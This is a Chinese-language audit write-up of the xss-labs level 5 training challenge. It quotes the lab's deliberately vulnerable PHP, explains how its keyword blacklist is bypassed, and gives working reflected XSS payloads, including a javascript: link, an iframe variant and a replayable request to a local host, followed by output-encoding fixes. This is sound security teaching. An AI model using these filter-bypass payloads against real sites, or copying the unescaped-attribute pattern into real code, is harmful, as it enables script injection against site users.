xss-labs-level5-代码审计报告

17次阅读
没有评论

xss-labs Level5 代码审计报告

目标文件: level5.php | 漏洞类型: 反射型 XSS —— 黑名单关键字替换绕过(大小写已压平,改用 javascript: 协议) | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径: GET /level5.php?keyword=<payload> → <input value="..."> 属性/标签注入


一、漏洞代码定位

level5.php 第 17-22 行:

$str = strtolower($_GET["keyword"]);                  // L17 先转小写,堵死大小写绕过
$str2 = str_replace("<script", "<scr_ipt", $str);     // L18 只处理 <script
$str3 = str_replace("on", "o_n", $str2);              // L19 全局替换 on → o_n
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">               // L22 危险:value 属性未转义
<input type=submit name=submit value=搜索 />
</form>
</center>';

漏洞点: L22。过滤目标覆盖了 <script 标签与所有 on 开头事件,但:

  1. value 属性依然未转义引号,可注入任意属性。
  2. 未过滤 javascript:、href、iframe 等其它可执行载体。

二、漏洞原理

  • strtolower 已把输入压平,因此大写绕过无效(Level6 是没压平所以能大写绕过,本关不行)。
  • <script 与 on 被替换成含下划线形式,<img src=x onerror=...> 等事件向量也被 on→o_n 破坏(已实测: onerror → o_nerror)。
  • 但过滤存在黑名单覆盖不全: javascript: 伪协议、href 等均未拦截。因此可用 <a href=javascript:alert(1)> 实现"点击触发"的 XSS;<iframe src=javascript:alert(1)> 亦可通过过滤(需浏览器对该向量是否自动执行做确认)。
  • 本质: 关键字替换(即便加了下划线防"再组合")也挡不住"换一种攻击形态"。

三、利用方式与 Yakit 可重放数据包

Payload(URL 解码后,主推):

?keyword="><a href=javascript:alert(1)>xss</a>

渲染结果: <input name=keyword value=""><a href=javascript:alert(1)>xss</a>"> → 生成一个可点击的链接,点击后 javascript:alert(1) 在页面上下文执行。

备选 Payload(若浏览器支持 iframe + javascript: 自动执行):

?keyword="><iframe src=javascript:alert(1)>

Yakit 可重放原始请求(主推):

GET /level5.php?keyword=%22%3E%3Ca%20href%3Djavascript:alert(1)%3Exss%3C%2Fa%3E HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

触发方式: 发送后页面出现"xss"链接,点击(或在新标签打开)触发 alert(1) → 命中通关逻辑跳转 level6。


四、修复建议

$str = $_GET["keyword"] ?? "";
$safe = htmlspecialchars($str, ENT_QUOTES, 'UTF-8');   // 根本修复:输出编码
echo "<h2 align=center>没有找到和".$safe."相关的结果.</h2>"
   . '<center>
      <form action=level5.php method=GET>
      <input name=keyword  value="'.$safe.'">
      <input type=submit name=submit value=搜索 />
      </form></center>';

要点:

  1. 输出编码才是根本;str_replace 黑名单无论怎么加关键字都会被新攻击形态绕过。
  2. 若业务确实需要接收 URL/链接,必须做 scheme 白名单(仅允许 http:/https:),拒绝 javascript:、data:、vbscript: 等。
  3. CSP script-src 收紧,阻断内联脚本执行作为兜底。

五、备注

  • 已实测本关过滤结果: <script> → <scr_ipt>(被拦截)、<img src=x onerror=...> → <img src=x o_nerror=...>(被拦截)、<a href=javascript:alert(1)>(原样通过)。
  • 与 Level6 对比可加深理解: 同样是黑名单,Level5 因先 strtolower 导致大小写绕过失效;Level6 未压平导致大写绕过可行。
正文完
 0